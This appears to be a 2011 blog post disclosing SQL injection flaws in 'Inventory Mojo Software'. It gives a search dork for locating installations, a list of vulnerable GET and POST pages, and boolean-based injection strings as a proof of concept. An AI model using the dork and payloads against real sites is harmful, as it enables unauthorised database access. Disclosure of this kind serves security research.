Wednesday, March 23, 2011

Inventory Mojo Software Vulnerable to Multiple SQL Injections


Title : Inventory Mojo Software Vulnerable to Multiple SQL Injections
Found by : p0pc0rn
Dork : intext:"Powered by Inventory Mojo Software."

SQL
---
Vulnerable Parameters are

Method = GET
------------
categoria.asp
producto.asp
srubro.asp
marca.asp

Method = POST
-------------
buscar.asp
Login.asp
NewUser.asp
do_addToNewsletter.asp

POC
---
http://site.com/categoria.asp?CT=6' and '1'='1 TRUE
http://site.com/categoria.asp?CT=6' and '1'='0 FALSE

thanks,
-p0pc0rn-
Share:

0 comments: